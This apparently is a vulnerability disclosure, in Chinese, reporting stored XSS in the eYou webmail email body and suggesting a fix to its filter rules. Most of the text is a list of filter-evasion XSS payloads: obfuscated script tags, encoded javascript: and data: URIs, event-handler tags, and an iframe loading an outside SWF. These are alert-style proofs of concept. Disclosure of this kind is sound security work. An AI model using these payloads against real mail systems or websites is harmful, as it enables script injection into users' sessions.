eYou邮件系统邮件正文存储型XSS – 网站安全

以前老版本一直对XSS没啥防御，也就没好意思发。最近看手头上的一个eyou信箱升级到eyou5了。发现新版本开始对XSS进行过滤了就测试了一下，发现了一点问题。

测试单个XSS攻击向量，如：

<img  src=x onerror=alert(1)>

还是可以抵挡的住的。

不过情况稍微复杂一些，你们的过滤规则就招架不住了。如：

<script>alert(0)</script>
<script>confirm(1)</script>
<script>prompt(2)</script>
<script>\u0061\u006C\u0065\u0072\u0074(3)</script> 
<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$_$+")"+"\"")())();</script>
<script>+alert(6)</script> 
<script test>alert(7)</script>   
<script>alert(/8/)</script>
<script src=data:text/javascript,alert(9)></script>
<script src=&#100&#97&#116&#97:text/javascript,alert(10)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/12/.source)</script>
<script>setTimeout(alert(13),0)</script>
<script>document['write'](14);</script>
<anytag onmouseover=alert(15)>M
<anytag onclick=alert(16)>M
<a onmouseover=alert(17)>M
<a onclick=alert(18)>M
<a href=javascript：alert(19)>M
<button/onclick=alert(20)>M
<form><button formaction=javascript&colon;alert(21)>M
<form/action=javascript：alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M
<img src=x onerror=alert(24)>
<body/onload=alert(25)>
<body onscroll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;27&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
<iframe src="https://0x.lv/xss.swf"></iframe> 
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript：alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2F%73%63%72%69%70%74%3E">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript：alert(document.domain)">
<marquee  onstart=alert(30)></marquee>
<isindex type=image src=1 onerror=alert(31)>
<isindex action=javascript：alert(32) type=image>
<input onfocus=alert(33) autofocus>
<input onblur=alert(34) autofocus><input autofocus>
<INPUT TYPE="IMAGE" SRC=x onerror=alert(35)>
<select onfocus=alert(36) autofocus>
<textarea onfocus=alert(37) autofocus></textarea>
<keygen onfocus=alert(38) autofocus> 
<FRAMESET><FRAME SRC="javascript：alert(document.domain);"></FRAMESET>
<frameset onload=alert(40)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"></embed> 
<embed src=javascript：alert(document.domain)> 
<math href="javascript：alert(45)">M
<math> <maction actiontype="" xlink:href="javascript：alert(46)">M
<math xlink:href=javascript：alert(47)>M

面对较为复杂的场景时，你们的过滤规则就招架不住了。

eYou邮件系统邮件正文存储型XSS – 网站安全 – 自学插图

因为是过滤器设计上的问题，所以我相信你们所有的版本都存在这个缺陷。如果重现上有困难可以发乌云短消息联系我。

修复方案：

重整过滤规则

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